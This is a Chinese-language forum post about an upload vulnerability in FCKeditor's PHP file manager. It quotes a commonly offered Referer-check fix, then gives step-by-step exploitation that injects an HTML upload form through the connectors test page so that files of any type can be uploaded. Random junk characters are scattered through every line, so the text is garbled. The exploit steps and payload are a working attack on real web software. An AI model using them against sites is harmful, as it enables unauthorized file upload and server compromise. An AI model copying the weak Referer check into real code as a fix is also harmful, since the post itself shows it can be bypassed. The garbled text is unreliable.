漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
: \) l) M$ Q! i" d3 B% P网上给出的修复方案是
) d( X$ K- b' k, w" E修复方法,删除FCK编辑器用其他的编辑器
/ C+ C- ]: { S/ Q0 b2 N% _# F u9 k z, V或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件; P' p, x- t5 y0 G
在 V) H# I1 S, }9 d4 X: ~# \% }; N7 _
require(‘config.php’); l& {5 _6 H4 K6 b' `4 H7 B/ z
require(‘util.php’);
7 U8 t5 r$ o2 B8 g5 o7 Y) N' Y4 ~- i的下面添加以下代码—————————–& x) T" B& T% m4 ]0 P% V Y
//防止外部提交
+ k) r$ [& u+ w2 m" y' l7 F- L! B1 bfunction outsidepost(): `" I0 G7 v+ ^9 Y% U( h, B
{' q" K8 h; `' d+ Y- J
$servername=$_SERVER['SERVER_NAME'];
7 g( |5 l* W: s& C" j' ?$sub_from=@$_SERVER['HTTP_REFERER'];$ w& y. f" g2 k5 o4 e: w
$sub_len=strlen($servername);
, T7 ?! ]& j' n' P/ \$checkfrom=substr($sub_from,7,$sub_len);
8 C* q+ r/ G& i4 c- h, p: K8 B4 {if($checkfrom!=$servername){
8 ?8 e4 L7 m7 e, z& Aecho(“you don’t outsidepost!”);
; @0 ?" ?6 o2 Y# O. O! K6 hexit;2 @1 O. f5 ?1 _- q
}
3 C6 [6 Q& V2 d: `}0 h* X b9 \, N1 a2 w
outsidepost(); m+ I# ~3 O4 f: n$ A& x
防止外部提交,但是没有防止内部提交,
1 M5 D$ j+ d) ~利用方法:; a$ F1 ]$ ?! E5 E5 k+ g- D
1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html
1 S' Q; [3 {; k4 L9 G' P* n2,在Current Folder 框输入" m8 |7 Z' t2 k2 V
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
" k I$ g. @' Y. B( `然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
0 l: n4 N" e9 V$ y/ PPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。 |